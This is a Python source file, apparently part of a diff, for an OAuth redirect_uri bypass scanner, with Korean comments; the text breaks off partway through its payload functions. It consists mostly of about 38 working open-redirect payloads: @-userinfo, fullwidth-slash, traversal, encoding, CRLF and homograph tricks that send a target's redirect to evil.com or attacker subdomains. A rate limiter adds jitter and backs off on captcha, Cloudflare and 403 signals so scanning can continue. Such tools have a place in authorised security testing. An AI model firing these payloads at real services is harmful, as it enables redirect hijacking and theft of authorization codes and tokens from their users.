self.failure_count = 0 - self.consecutive_failures = 0 - self.blocked_until = 0 - self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 - - # 설정값 (전체 패턴 기준으로 최적화) - self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게) - self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 - self.max_delay = 5.0 # 최대 5초 지연 - self.block_duration = 300 # 5분 차단 - self.success_speedup = 0.8 # 성공시 속도 증가 - - async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: - """패턴별 레이트 리미팅""" - current_time = time.time() - - # 차단 중인지 확인 - if current_time < self.blocked_until: - remaining = int(self.blocked_until - current_time) - print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵") - return False - - # 적응형 지연 시간 계산 - delay = self._calculate_delay() - - # 마지막 요청으로부터의 시간 확인 - time_since_last = current_time - self.last_request - if time_since_last < delay: - wait_time = delay - time_since_last - print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") - await asyncio.sleep(wait_time) - - self.last_request = time.time() - self.request_count += 1 - self.pattern_index += 1 - - # 진행률 표시 (10개마다) - if self.pattern_index % 10 == 0: - print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료") - - return True - - def _calculate_delay(self) -> float: - """적응형 지연 시간 계산""" - delay = self.base_delay - - # 연속 실패에 따른 백오프 - if self.consecutive_failures > 0: - backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) - delay += backoff - - # 전체 실패율에 따른 조정 - if self.request_count > 5: - failure_rate = self.failure_count / self.request_count - if failure_rate > 0.3: # 실패율 30% 초과시 - delay *= (1 + failure_rate) - - # 최대값 제한 - delay = min(delay, self.max_delay) - - # 랜덤 지터 (±20%) - jitter = random.uniform(0.8, 1.2) - return delay * jitter - - def record_success(self): - """성공 기록""" - self.consecutive_failures = 0 - # 성공시 약간 속도 증가 (학습 효과) - if self.base_delay > 0.5: - self.base_delay *= self.success_speedup - - def record_failure(self, error_msg: str = ""): - """실패 기록 및 차단 감지""" - self.failure_count += 1 - self.consecutive_failures += 1 - - # 즉시 차단이 필요한 패턴들 - immediate_block_patterns = [ - '403', '429', '503', - 'forbidden', 'rate limit', 'rate-limit', - 'too many requests', 'blocked', 'banned', - 'captcha', 'recaptcha', 'cloudflare', - 'security check', 'access denied' - ] - - error_lower = str(error_msg).lower() - should_block = any(pattern in error_lower for pattern in immediate_block_patterns) - - if should_block: - self.blocked_until = time.time() + self.block_duration - print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}") - return - - # 연속 실패 임계값 도달시 차단 - if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용 - self.blocked_until = time.time() + self.block_duration - print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기") - - def reset_for_new_target(self): - """새로운 타겟 시작시 일부 통계 리셋""" - self.pattern_index = 0 - self.consecutive_failures = 0 - # base_delay와 전체 통계는 유지 (학습된 내용) - -# 글로벌 레이트 리미터 -redirect_limiter = RedirectRateLimiter() - -class BypassPayload: - """ 우회 패턴 정의 """ - def __init__(self, name: str, mutate_func, description: str): - self.name = name - self.mutate = mutate_func #우회 url 만드는 함수 - self.description = description - - -class RedirectBypassChecker: - def __init__(self): - """ 우회 페이로드 목록 """ - self.bypass_payloads = [ - BypassPayload( - name=r"@", - mutate_func=self._mutate_pattern1, - description=r"Host bypass attack using @ symbol: evil.com@target.com" - ), - - BypassPayload( - name=r"%ff@", - mutate_func=self._mutate_pattern2, - description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" - ), - - BypassPayload( - name=r"%ff_subdomain", - mutate_func=self._mutate_pattern3, - description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com" - ), - - BypassPayload( - name=r"fullwidth_slash_direct", - mutate_func=self._mutate_pattern4_1, - description=r"Direct fullwidth slash bypass: target.com/@evil.com" - ), - - BypassPayload( - name=r"fullwidth_slash_encoded", - mutate_func=self._mutate_pattern4_2, - description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_direct", - mutate_func=self._mutate_pattern4_3, - description=r"Direct fullwidth backslash bypass: target.com\@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_encoded", - mutate_func=self._mutate_pattern4_4, - description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_types", - mutate_func=self._mutate_pattern5, - description=r"Mixed backslash types: target.com\\\evil.com" - ), - - BypassPayload( - name=r"mixed_backslash_fullwidth_slash", - mutate_func=self._mutate_pattern6, - description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" - ), - - BypassPayload( - name=r"path_traversal_basic", - mutate_func=self._mutate_pattern7_1, - description=r"Basic path traversal: target.com/path/../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_deep", - mutate_func=self._mutate_pattern7_2, - description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" - ), - BypassPayload( - name=r"path_traversal_absolute", - mutate_func=self._mutate_pattern7_3, - description=r"Absolute path traversal: target.com/../evil.com" - ), - BypassPayload( - name=r"path_traversal_mixed", - mutate_func=self._mutate_pattern7_4, - description=r"Mixed slash traversal: target.com/path/.././.././evil.com" - ), - BypassPayload( - name=r"path_traversal_semicolon", - mutate_func=self._mutate_pattern7_5, - description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" - ), - BypassPayload( - name=r"path_traversal_encoded", - mutate_func=self._mutate_pattern7_6, - description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" - ), - BypassPayload( - name=r"path_traversal_double_encoded", - mutate_func=self._mutate_pattern7_7, - description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" - ), - BypassPayload( - name=r"path_traversal_hex", - mutate_func=self._mutate_pattern7_8, - description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" - ), - BypassPayload( - name=r"path_traversal_unicode", - mutate_func=self._mutate_pattern7_9, - description=r"Unicode dot traversal: target.com/path/../../evil.com" - ), - BypassPayload( - name=r"path_traversal_backslash", - mutate_func=self._mutate_pattern7_10, - description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" - ), - BypassPayload( - name=r"path_traversal_overlong", - mutate_func=self._mutate_pattern7_11, - description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" - ), - BypassPayload( - name=r"path_traversal_null", - mutate_func=self._mutate_pattern7_12, - description=r"Null byte traversal: target.com/path/../%00../evil.com" - ), - - BypassPayload( - name=r"wildcard_subdomain_bypass", - mutate_func=self._mutate_pattern8, - description=r"Wildcard subdomain bypass: attacker.target.com" - ), - - BypassPayload( - name=r"backslash_bypass", - mutate_func=self._mutate_pattern9, - description=r"Backslash URL parsing bypass: target.com\\evil.com" - ), - - BypassPayload( - name=r"double_slash", - mutate_func=self._mutate_pattern10, - description=r"Double slash bypass: target.com//evil.com" - ), - - BypassPayload( - name=r"question_mark", - mutate_func=self._mutate_pattern11, - description=r"Question mark bypass: target.com?evil.com" - ), - - BypassPayload( - name=r"idn_homograph", - mutate_func=self._mutate_pattern12, - description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" - ), - - BypassPayload( - name=r"ipv6_bypass", - mutate_func=self._mutate_pattern13, - description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" - ), - - BypassPayload( - name=r"mixed_case_idn_combo", - mutate_func=self._mutate_pattern14, - description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" - ), - - BypassPayload( - name=r"fragment_bypass", - mutate_func=self._mutate_pattern15, - description=r"Fragment identifier bypass: target.com#@evil.com" - ), - - BypassPayload( - name=r"combined_bypass", - mutate_func=self._mutate_pattern16, - description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" - ), - - BypassPayload( - name=r"path_backslash_domain", - mutate_func=self._mutate_pattern17, - description=r"Path backslash domain bypass: target.com\\.evil.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_basic", - mutate_func=self._mutate_pattern18_1, - description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_full", - mutate_func=self._mutate_pattern18_2, - description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_special", - mutate_func=self._mutate_pattern18_3, - description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_double", - mutate_func=self._mutate_pattern18_4, - description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_reverse", - mutate_func=self._mutate_pattern18_5, - description=r"Reverse control chars: evil.com%20%0A%09@target.com" - ), - - BypassPayload( - name=r"mixed_encoding_chaos_repeat", - mutate_func=self._mutate_pattern18_6, - description=r"Repeated control chars: evil.com%09%09%09@target.com" - ), - - BypassPayload( - name=r"subdomain_confusion_hyphen", - mutate_func=self._mutate_pattern19, - description=r"Subdomain confusion with hyphen: target-com.evil.com" - ), - - BypassPayload( - name=r"semicolon_userinfo_bypass", - mutate_func=self._mutate_pattern20, - description=r"Semicolon userinfo bypass: target.com;evil.com" - ), - - BypassPayload( - name=r"tab_character_bypass", - mutate_func=self._mutate_pattern21, - description=r"Tab character bypass using %09: evil.com%09@target.com" - ), - - BypassPayload( - name=r"space_character_bypass", - mutate_func=self._mutate_pattern22, - description=r"Space character bypass using %20: evil.com%20@target.com" - ), - - BypassPayload( - name=r"form_feed_bypass", - mutate_func=self._mutate_pattern23, - description=r"Form feed character bypass using %0c: evil.com%0c@target.com" - ), - - BypassPayload( - name=r"vertical_tab_bypass", - mutate_func=self._mutate_pattern24, - description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" - ), - - BypassPayload( - name=r"%0a@", - mutate_func=self._mutate_pattern25, - description=r"Newline character bypass using %0a@: evil.com%0a@target.com" - ), - - BypassPayload( - name=r"%0d@", - mutate_func=self._mutate_pattern26, - description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" - ), - - BypassPayload( - name=r"crlf_injection", - mutate_func=self._mutate_pattern27, - description=r"CRLF injection bypass: evil.com%0D%0A@target.com" - ), - - BypassPayload( - name=r"mixed_case_scheme", - mutate_func=self._mutate_pattern28, - description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" - ), - - BypassPayload( - name=r"scheme_dot_injection", - mutate_func=self._mutate_pattern29, - description=r"Scheme dot injection: https.://evil.com@target.com" - ), - - BypassPayload( - name=r"port_encoded_bypass", - mutate_func=self._mutate_pattern30, - description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" - ), - - BypassPayload( - name=r"ampersand_encoded_bypass", - mutate_func=self._mutate_pattern31, - description=r"Ampersand encoded bypass: target.com &%40evil.com" - ), - - BypassPayload( - name=r"underscore_encoded_bypass", - mutate_func=self._mutate_pattern32, - description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" - ), - - BypassPayload( - name=r"comma_separator_bypass", - mutate_func=self._mutate_pattern33, - description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" - ), - - BypassPayload( - name=r"schemeless_bypass", - mutate_func=self._mutate_pattern34, - description=r"Schemeless bypass: //evil.com" - ), - - BypassPayload( - name=r"schema_colon_bypass", - mutate_func=self._mutate_pattern35, - description=r"Schema colon bypass: http:evil.com" - ), - - BypassPayload( - name=r"null_byte_prefix", - mutate_func=self._mutate_pattern36, - description=r"Null byte prefix: %00http://evil.com" - ), - - BypassPayload( - name=r"unicode_spaces_bypass", - mutate_func=self._mutate_pattern37, - description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" - ), - - BypassPayload( - name=r"bracket_encoded_bypass", - mutate_func=self._mutate_pattern38, - description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" - ), - - ] - self.session = None - - """ 우회 URL 생성 목록 """ - # 1. @ - def _mutate_pattern1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] original: {original} → mutated: {mutated}") - return mutated - - # 2. %ff@ - 유니코드 바이트 우회 - def _mutate_pattern2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil%ff@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] %ff@ pattern: {original} → {mutated}") - return mutated - - # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 - def _mutate_pattern3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil%ff.{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}") - return mutated - - # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC - # 4_1. 직접 전각 슬래시 - def _mutate_pattern4_1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}/@evil.com{path_part}" - print(f"[redirect_uri_check] direct fullwidth slash: {original} → {mutated}") - return mutated - - # 4_2. URL 인코딩된 전각 슬래시 - def _mutate_pattern4_2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %EF%BC%8F = 전각 슬래시 (/) - mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}" - print(f"[redirect_uri_check] encoded fullwidth slash: {original} → {mutated}") - return mutated - - # 4_3. 직접 전각 백슬래시 - def _mutate_pattern4_3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\@evil.com{path_part}" - print(f"[redirect_uri_check] direct fullwidth backslash: {original} → {mutated}") - return mutated - - # 4_4. URL 인코딩된 전각 백슬래시 - def _mutate_pattern4_4(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %EF%BC%BC = 전각 백슬래시 (\) - mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}" - print(f"[redirect_uri_check] encoded fullwidth backslash: {original} → {mutated}") - return mutated - - # 5. 백슬래시 + 전각 백슬래시 조합 - def _mutate_pattern5(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\\evil.com{path_part}" - print(f"[redirect_uri_check] mixed backslash types: {original} → {mutated}") - return mutated - - # 6. 백슬래시 + 전각 슬래시 조합 - def _mutate_pattern6(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\/evil.com{path_part}" - print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original} → {mutated}") - return mutated - - # 7. 경로 순회 - Path traversal bypass - # 7-1. 기본 경로 순회 - def _mutate_pattern7_1(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com" - print(f"[redirect_uri_check] basic path traversal: {original} → {mutated}") - return mutated - - # 7-2. 더 많은 경로 순회 - def _mutate_pattern7_2(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" - print(f"[redirect_uri_check] deep path traversal: {original} → {mutated}") - return mutated - - # 7-3. 절대 경로로 우회 - def _mutate_pattern7_3(self, original: str) -> str: - parsed = urlparse(original) - mutated = f"https://{parsed.netloc}/../evil.com" - print(f"[redirect_uri_check] absolute path traversal: {original} → {mutated}") - return mutated - - # 7-4. 혼합 슬래시 패턴 - def _mutate_pattern7_4(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com" - print(f"[redirect_uri_check] mixed slash traversal: {original} → {mutated}") - return mutated - - # 7-5. 점 뒤에 추가 문자 - def _mutate_pattern7_5(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" - print(f"[redirect_uri_check] semicolon path traversal: {original} → {mutated}") - return mutated - - # 7-6. URL 인코딩된 경로 순회 - def _mutate_pattern7_6(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %2e = ., %2f = / - mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" - print(f"[redirect_uri_check] URL encoded traversal: {original} → {mutated}") - return mutated - - # 7-7. 이중 URL 인코딩 - def _mutate_pattern7_7(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %252e = 이중 인코딩된 . - mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" - print(f"[redirect_uri_check] double encoded traversal: {original} → {mutated}") - return mutated - - # 7-8. 16진수 인코딩 - def _mutate_pattern7_8(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 0x2e2e2f = ../ - mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" - print(f"[redirect_uri_check] hex encoded traversal: {original} → {mutated}") - return mutated - - # 7-9. 유니코드 정규화 우회 - def _mutate_pattern7_9(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # 유니코드 점 문자들 (U+002E, U+FF0E 등) - mutated = f"https://{parsed.netloc}{base_path}/../../evil.com" - print(f"[redirect_uri_check] unicode dot traversal: {original} → {mutated}") - return mutated - - # 7-10. 백슬래시 + 경로 순회 조합 - def _mutate_pattern7_10(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" - print(f"[redirect_uri_check] backslash traversal: {original} → {mutated}") - return mutated - - # 7-11. 오버롱 UTF-8 인코딩 - def _mutate_pattern7_11(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %c0%ae = 오버롱 UTF-8로 인코딩된 점 - mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" - print(f"[redirect_uri_check] overlong UTF-8 traversal: {original} → {mutated}") - return mutated - - # 7-12. 널 바이트 삽입 - def _mutate_pattern7_12(self, original: str) -> str: - parsed = urlparse(original) - base_path = parsed.path if parsed.path else "/callback" - # %00 = 널 바이트 - mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" - print(f"[redirect_uri_check] null byte traversal: {original} → {mutated}") - return mutated - - # 8. 와일드카드 서브도메인 우회 - def _mutate_pattern8(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 - mutated = f"https://attacker.{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] wildcard subdomain bypass: {original} → {mutated}") - return mutated - - # 9. 백슬래시 우회 - Dart SDK Issue #50075 - def _mutate_pattern9(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}\\evil.com{path_part}" - print(f"[redirect_uri_check] backslash pattern: {original} → {mutated}") - return mutated - - # 10. 이중 슬래시 - def _mutate_pattern10(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}//evil.com{path_part}" - print(f"[redirect_uri_check] double slash pattern: {original} → {mutated}") - return mutated - - # 11. 물음표 우회 - def _mutate_pattern11(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}?evil.com{path_part}" - print(f"[redirect_uri_check] question mark pattern: {original} → {mutated}") - return mutated - - # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 - def _mutate_pattern12(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 - mutated = f"https://еvil.example@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] IDN homograph pattern: {original} → {mutated}") - return mutated - - # 13. IPv6 주소 우회 - 안전한 버전 - def _mutate_pattern13(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - - # 안전한 IPv6 @ 우회 패턴 - if "localhost" in parsed.netloc: - mutated = f"https://evil.example@[::1]:3000{path_part}" - else: - # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) - mutated = f"https://evil.example@[2001:db8::1]{path_part}" - - print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}") - return mutated - - # 14. 대소문자 + IDN 문자 조합으로 필터 우회 - def _mutate_pattern14(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자 - print(f"[redirect_uri_check] mixed case IDN bypass: {original} → {mutated}") - return mutated - - # 15. Fragment identifier 우회 - def _mutate_pattern15(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 - mutated = f"https://{parsed.netloc}{path_part}#@evil.com" - print(f"[redirect_uri_check] fragment bypass pattern: {original} → {mutated}") - return mutated - - # 16. 복합 우회 패턴 - 여러 기법 동시 적용 - def _mutate_pattern16(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # @ 우회 + 이중 슬래시 + 경로 순회 조합 - mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}" - print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}") - return mutated - - # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) - def _mutate_pattern17(self, original: str) -> str: - parsed = urlparse(original) - # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 - mutated = f"https://{parsed.netloc}\\.evil.com" - print(f"[redirect_uri_check] path backslash domain: {original} → {mutated}") - return mutated - - # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) - def _mutate_pattern18_1(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 탭 + 줄바꿈 + 공백 - mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] mixed encoding chaos: {original} → {mutated}") - return mutated - - # 18_2. 모든 제어 문자 조합 - def _mutate_pattern18_2(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 - mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] full control char chaos: {original} → {mutated}") - return mutated - - # 18_3. 제어 문자 + 특수 문자 - def _mutate_pattern18_3(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] control + special char chaos: {original} → {mutated}") - return mutated - - # 18_4. 이중 인코딩 + 제어 문자 - def _mutate_pattern18_4(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] double encoded control chaos: {original} → {mutated}") - return mutated - - # 18_5. 역순 제어 문자 - def _mutate_pattern18_5(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] reverse control char chaos: {original} → {mutated}") - return mutated - - # 18_6. 반복 제어 문자 - def _mutate_pattern18_6(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] repeated control char chaos: {original} → {mutated}") - return mutated - - # 19. 서브도메인 혼동 우회 (하이픈 버전) - def _mutate_pattern19(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # target.com → target-com.evil.com - host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') - mutated = f"https://{host_with_hyphen}.evil.com{path_part}" - print(f"[redirect_uri_check] subdomain confusion bypass: {original} → {mutated}") - return mutated - - # 20. 세미콜론 userinfo 우회 - def _mutate_pattern20(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc};evil.com{path_part}" - print(f"[redirect_uri_check] semicolon userinfo bypass: {original} → {mutated}") - return mutated - - # 21. %09 - 탭 문자 우회 - def _mutate_pattern21(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%09@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] tab character bypass: {original} → {mutated}") - return mutated - - # 22. %20 - 공백 문자 우회 - def _mutate_pattern22(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%20@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] space character bypass: {original} → {mutated}") - return mutated - - # 23. %0c - 폼 피드 문자 우회 - def _mutate_pattern23(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] form feed bypass: {original} → {mutated}") - return mutated - - # 24. %0b - 수직 탭 문자 우회 - def _mutate_pattern24(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] vertical tab bypass: {original} → {mutated}") - return mutated - - # 25. %0a@ - 줄바꿈 문자 우회 - def _mutate_pattern25(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") - return mutated - - # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) - def _mutate_pattern26(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") - return mutated - - # 27. CRLF 인젝션 우회 - def _mutate_pattern27(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 - mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] CRLF injection bypass: {original} → {mutated}") - return mutated - - # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 - def _mutate_pattern28(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] mixed case scheme bypass: {original} → {mutated}") - return mutated - - # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) - def _mutate_pattern29(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https.://evil.com@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] scheme dot injection: {original} → {mutated}") - return mutated - - # 30. 포트 인코딩 우회 - %40 = @ - def _mutate_pattern30(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}:%40evil.com{path_part}" - print(f"[redirect_uri_check] port encoded: {original} → {mutated}") - return mutated - - # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 - def _mutate_pattern31(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc} &%40evil.com{path_part}" - print(f"[redirect_uri_check] ampersand encoded: {original} → {mutated}") - return mutated - - # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 - def _mutate_pattern32(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}" - print(f"[redirect_uri_check] underscore encoded: {original} → {mutated}") - return mutated - - # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 - def _mutate_pattern33(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}" - print(f"[redirect_uri_check] comma separator: {original} → {mutated}") - return mutated - - # 34. 스키마 없는 우회 - def _mutate_pattern34(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"//evil.com{path_part}" - print(f"[redirect_uri_check] schemeless: {original} → {mutated}") - return mutated - - # 35. 스키마 콜론 우회 - RFC 위반 파싱 - def _mutate_pattern35(self, original: str) -> str: - parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - mutated = f"http:evil.com{path_part}" - print(f"[redirect_uri_check] schema colon: {original} → {mutated}") - return mutated - - # 36. 널 바이트 prefix - 